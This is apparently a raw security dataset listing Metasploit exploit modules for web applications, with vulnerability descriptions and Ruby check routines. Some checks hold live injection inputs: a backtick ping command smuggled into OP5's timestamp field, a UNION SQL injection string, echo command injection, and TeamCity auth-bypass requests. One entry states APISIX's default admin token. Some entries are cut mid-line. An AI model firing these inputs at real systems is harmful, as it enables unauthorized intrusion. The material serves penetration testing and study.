deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Horde 3.3.12 Backdoor Arbitrary PHP Code Execution
Type: exploit
Path: modules/exploits/multi/http/horde_href_backdoor.rb
Platform: %w{linux unix}
Disclosure date: 2012-02-13
References: CVE-2012-0209, OSVDB-79246, EDB-18492, URL-http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155, URL-http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/

Description:
This module exploits an arbitrary PHP code execution vulnerability introduced
          as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
Metasploit Module: SysAid Help Desk 'rdslogs' Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb
Platform: java
Disclosure date: 2015-06-03
References: CVE-2015-2995, URL-https://seclists.org/fulldisclosure/2015/Jun/8

Description:
This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
          The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
          file uploads and handles zip file contents in an insecure way. By combining both weaknesses,
          a remote attacker can accomplish remote code execution. Note that this will only work if the
          target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection
          against null byte injection in file names. This module has been tested successfully on version
          v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid
          seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability
          from being exploited.

Check method (fingerprinting):
servlet_path = 'rdslogs'
    bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
      'method' => 'POST',
      'vars_get' => {
        'rdsName' => bogus_file
      }
    })

    if res && res.code == 200
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Unknown('Received an unexpected response from the target')
  end
Metasploit Module: Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/movabletype_upgrade_exec.rb
Disclosure date: 2013-01-07
References: CVE-2012-6315, CVE-2013-0209, OSVDB-89322, URL-http://www.sec-1.com/blog/?p=402, URL-http://www.movabletype.org/2013/01/movable_type_438_patch.html

Description:
This module can be used to execute a payload on MoveableType (MT) that
          exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),
          that is used during installation and updating of the platform.
          The vulnerability arises due to the following properties:
          1. This script may be invoked remotely without requiring authentication
          to any MT instance.
          2. Through a crafted POST request, it is possible to invoke particular
          database migration functions (i.e. functions that bring the existing
          database up-to-date with an updated codebase) by name and with
          particular parameters.
          3. A particular migration function, core_drop_meta_for_table, allows
          a class parameter to be set which is used directly in a perl eval
          statement, allowing perl code injection.

Check method (fingerprinting):
fingerprint = rand_text_alpha(5)
    vprint_status("Sending check...")
    begin
      res = http_send_raw(fingerprint)
    rescue Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end
    if (res)
      if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)
        return Exploit::CheckCode::Vulnerable('Successfully verified Perl code injection vulnerability')
      elsif (res.code != 200)
        return Exploit::CheckCode::Unknown("Unexpected HTTP status code: #{res.code}")
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    else
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end
  end
Metasploit Module: OP5 license.php Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/op5_license.rb
Platform: unix
Disclosure date: 2012-01-05
References: CVE-2012-0261, OSVDB-78064, URL-http://web.archive.org/web/[PII_REDACTED]1718/http://secunia.com/advisories/47417/

Description:
This module exploits an arbitrary root command execution vulnerability in the
          OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,
          5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.

Check method (fingerprinting):
vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    # Try running/timing 'ping localhost' to determine is system is vulnerable
    start = Time.now

    data = 'timestamp=[PII_REDACTED]`ping -c 10 127.0.0.1`&action=install&install=Install';
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'method' => 'POST',
      'proto' => 'HTTPS',
      'data' => data,
      'headers' =>
      {
        'Connection' => 'close',
      }
    }, 25)
    elapsed = Time.now - start
    if elapsed >= 5
      return Exploit::CheckCode::Vulnerable('Successfully verified code execution on the target')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection
Type: exploit
Path: modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb
Platform: win
Disclosure date: 2014-07-24
References: CVE-2014-4977, BID-68495, URL-https://seclists.org/fulldisclosure/2014/Jul/44, URL-https://gist.github.com/brandonprry/76741d9a0d4f518fe297
Targets: Dell SonicWALL Scrutinizer 11.01 on Windows, Dell SonicWALL Scrutinizer 11.01 Linux Appliance

Description:
This module exploits a vulnerability found in Dell SonicWALL Scrutinizer. The methodDetail
          parameter in exporters.php allows an attacker to write arbitrary files to the file system
          with an SQL Injection attack, and gain remote code execution under the context of SYSTEM
          for Windows, or as Apache for Linux.

          Authentication is required to exploit this vulnerability, but this module uses
          the default admin:admin credential.

Check method (fingerprinting):
begin
      res = do_login
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown('Could not authenticate to the target')
    end

    uid = res['userid']
    sid = res['sessionid']
    pattern = Rex::Text.rand_text_alpha(10)
    sqli_str = "-6045 UNION ALL SELECT '#{pattern}',#{pad_null(19)}"
    res = do_sqli(sqli_str, sid, uid).get_json_document
    return Exploit::CheckCode::Vulnerable('Successfully exploited SQL injection') if res['id'].to_s == pattern

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  # Returns the OS information by using @@version_compile_os.
  #
  # @param sid [String] Session ID.
  # @param uid [String] User ID.
  # @return [String] The OS information.
Metasploit Module: CMS Made Simple Authenticated RCE via object injection
Type: exploit
Path: modules/exploits/multi/http/cmsms_object_injection_rce.rb
Platform: php
Disclosure date: 2019-03-26
References: CVE-2019-9055, URL-https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg, URL-https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum

Description:
An issue was discovered in CMS Made Simple 2.2.8.
          In the module DesignManager (in the files action.admin_bulk_css.php
          and action.admin_bulk_template.php), with an unprivileged user
          with Designer permission, it is possible to reach an unserialize
          call with a crafted value in the m1_allparms parameter,
          and achieve object injection.

          This module has been successfully tested on CMS Made Simple versions
          2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.

Check method (fingerprinting):
res = get('', 'index.php')
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not connect to the target')
    end

    unless res.body.match?(/CMS Made Simple/i)
      return CheckCode::Safe('The target is not vulnerable')
    end

    version = Rex::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    if version <= Rex::Version.new('2.2.9.1')
      return CheckCode::Appears('The target is running a vulnerable version')
    end

    return CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: JetBrains TeamCity Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb
Platform: java
Disclosure date: 2024-03-04
References: CVE-2024-27198, URL-https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/, URL-https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/
Targets: Java, Java Server Page, Windows Command, Linux Command, Unix Command

Description:
This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated
          attacker can leverage this to access the REST API and create a new administrator access token. This token
          can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
          unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
          so the exploit will instead create a new administrator account before uploading a plugin. Older version of
          TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,
          however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code
          execution instead, as this is supported on all versions tested.

Check method (fingerprinting):
# We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the
    # target is vulnerable.
    server_res = send_auth_bypass_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')
    )

    return CheckCode::Unknown('Connection failed') unless server_res

    # A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden)
    return CheckCode::Safe('The target appears to be patched') if server_res.code == 403

    return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200

    # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the
    # check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target
    # platform can help inform the user what payload target to choose (i.e. Windows or Linux).
    sysprop_res = send_auth_bypass_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties')
    )

    platform = ''

    if sysprop_res&.code == 200
      xml_sysprop_data = sysprop_res.get_xml_document

      os_name = xml_sysprop_data&.at('property[name="os.name"]')

      platform = " running on #{os_name.attr('value')}" if os_name
    end

    xml_server_data = server_res.get_xml_document

    server_data = xml_server_data&.at('server')
Metasploit Module: TestLink v1.9.3 Arbitrary File Upload Vulnerability
Type: exploit
Path: modules/exploits/multi/http/testlink_upload_exec.rb
Platform: php
Disclosure date: 2012-08-13
References: CVE-2012-0938, OSVDB-85446, EDB-20500, URL-http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/

Description:
This module exploits a vulnerability in TestLink version 1.9.3 or prior.
          This application has an upload feature that allows any authenticated
          user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
          directory with a randomized file name. The file name can be retrieved from
          the database using SQL injection.

Check method (fingerprinting):
base = target_uri.path
    base << '/' if base[-1, 1] != '/'
    peer = "#{rhost}:#{rport}"

    # retrieve software version from login page
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(base, "login.php")
      })

      return Exploit::CheckCode::Unknown('No response received from the target') if res.nil?

      if res
        if res.code == 200
          if res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
            return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
          end
        end
      end

      return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable') if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/

      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end
    return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: Moodle Authenticated Spelling Binary RCE
Type: exploit
Path: modules/exploits/multi/http/moodle_spelling_binary_rce.rb
Platform: unix
Disclosure date: 2013-10-30
References: CVE-2013-3630, CVE-2013-4341, EDB-28174, URL-https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats

Description:
Moodle allows an authenticated user to define spellcheck settings via the web interface.
          The user can update the spellcheck mechanism to point to a system-installed aspell binary.
          By updating the path for the spellchecker to an arbitrary command, an attacker can run
          arbitrary commands in the context of the web application upon spellchecking requests.

          This module also allows an attacker to leverage another privilege escalation vuln.
          Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
          and use this to escalate privileges to that of an admin, allowing the module to pop a shell
          as a previously unprivileged authenticated user.

          This module was tested against Moodle version 2.5.2 and 2.2.3.

Check method (fingerprinting):
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?

    v = moodle_version
    return CheckCode::Detected('Unable to determine moodle version') if v.nil?
    if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
      return CheckCode::Appears("Exploitable Moodle version #{v} detected")
    end

    CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
  end
Metasploit Module: WordPress Crop-image Shell Upload
Type: exploit
Path: modules/exploits/multi/http/wp_crop_rce.rb
Platform: php
Disclosure date: 2019-02-19
References: CVE-2019-8942, CVE-2019-8943, URL-https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/

Description:
This module exploits a path traversal and a local file inclusion
          vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
          The crop-image function allows a user, with at least author privileges,
          to resize an image and perform a path traversal by changing the _wp_attached_file
          reference during the upload. The second part of the exploit will include
          this image in the current theme by changing the _wp_page_template attribute
          when creating a post.

          This exploit module only works for Unix-based systems currently.

Check method (fingerprinting):
cookie = wordpress_login(username, password)
    if cookie.nil?
      return CheckCode::Unknown('Failed to authenticate with the provided credentials')
    end

    CheckCode::Appears('The target appears to be running a vulnerable version of the plugin')
  end
Metasploit Module: Apache OFBiz forgotPassword/ProgramExport RCE
Type: exploit
Path: modules/exploits/multi/http/apache_ofbiz_forgot_password_directory_traversal.rb
Platform: linux
Disclosure date: 2024-05-30
References: URL-https://github.com/Mr-xn/CVE-2024-32113, URL-https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113, CVE-2024-32113, CVE-2024-38856
Targets: Linux Command, Windows Command

Description:
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability (CVE-2024-32113). The
          vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint
          which in turn allows for remote code execution in the context of the user running the application. This was
          patched in 18.12.14.

          It was then discovered that the use of the path traversal vulnerability is not required in order to access
          the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability
          and was patched in 18.12.15.

          This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the
          module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.

Check method (fingerprinting):
echo_test_string = rand_text_alpha(8..12)
    case target['Type']
    when :win_cmd
      test_payload = "cmd.exe /c echo #{echo_test_string}"
    when :unix_cmd
      test_payload = "echo #{echo_test_string}"
    else
      return CheckCode::Unknown('Please select a valid target')
    end

    res = send_cmd_injection(test_payload)
    return CheckCode::Unknown('Target did not respond to check.') unless res

    unless res.get_html_document&.xpath("//div[@class='content-messages errorMessage' and .//p[contains(text(), 'java.lang.Exception: #{echo_test_string}')]]")&.empty?
      return CheckCode::Vulnerable('Tested remote code execution successfully')
    end

    CheckCode::Safe('Attempting to exploit vulnerability failed.')
  end
Metasploit Module: Geoserver unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/geoserver_unauth_rce_cve_2024_36401.rb
Platform: unix
Disclosure date: 2024-07-01
References: CVE-2024-36401, URL-https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401, URL-https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401, URL-https://github.com/Chocapikk/CVE-2024-36401
Targets: Unix Command, Windows Command

Description:
GeoServer is an open-source software server written in Java that provides
          the ability to view, edit, and share geospatial data.
          It is designed to be a flexible, efficient solution for distributing geospatial data
          from a variety of sources such as Geographic Information System (GIS) databases,
          web-based data, and personal datasets.
          In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,
          multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users
          through specially crafted input against a default GeoServer installation due to unsafely
          evaluating property names as XPath expressions.
          An attacker can abuse this by sending a POST request with a malicious xpath expression
          to execute arbitrary commands as root on the system.

Check method (fingerprinting):
version_number = check_version
    return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil?
    return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6')

    CheckCode::Safe("Version #{version_number}")
  end
Metasploit Module: APISIX Admin API default access token RCE
Type: exploit
Path: modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb
Platform: %w[unix
Disclosure date: 2020-12-07
References: CVE-2020-13945, CVE-2022-24112, URL-https://github.com/apache/apisix/pull/2244, URL-https://seclists.org/oss-sec/2020/q4/187, URL-https://www.openwall.com/lists/oss-security/2022/02/11/3

Description:
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
          all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
          version. This module also leverages another vulnerability to bypass the IP restriction plugin.

Check method (fingerprinting):
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
    # batch request is the preferred method because it bypass the ip-restriction plugin
    res = nil
    if batch_request_enabled?

      pipeline = [
        {
          method: 'GET',
          path: "#{target_uri.path}/admin/routes"
        }
      ]
      res = batch_request(batch_body(pipeline))
      vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200

      pipeline = [
        {
          method: 'GET',
          path: "#{target_uri.path}/admin/routes/index"
        }
      ]
      res = batch_request(batch_body(pipeline))

    else
      vprint_error('The batch-requests plugin is not enabled')

      vprint_good('There is direct access to the routes using the provided token') if direct_access?

      res = apisix_request({
        'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
        'method' => 'GET'
      })

    end
    unless res && res.headers.key?('Server')
      return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
    end

    res.headers['Server'].match(%r{(.*)/([\d|.]+)$})

    server = Regexp.last_match(1) || nil
    version = Rex::Version.new(Regexp.last_match(2)) || nil

    if server && server.match(/APISIX/)
      vprint_status("Found an #{server} #{version} http server header")
      return Exploit::CheckCode::Appears('The target is running a vulnerable
Metasploit Module: Wordpress Plugin Backup Guard - Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/wp_plugin_backup_guard_rce.rb
Disclosure date: 2021-05-04
References: EDB-50093, CVE-2021-24155, URL-https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2473510%40backup&old=2472212%40backup&sfp_email=&sfph_mail=

Description:
This module allows an attacker with a privileged Wordpress account to launch a reverse shell
          due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard < 1.6.0.
          This is due to an incorrect check of the uploaded file extension which should be of SGBP type.
          Then, the uploaded payload can be triggered by a call to `/wp-content/uploads/backup-guard/<random_payload_name>.php`

Check method (fingerprinting):
return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    return CheckCode::Detected('Authentication to Wordpress failed.') unless cookie

    check_plugin_version_from_readme('backup', '1.6.0')
  end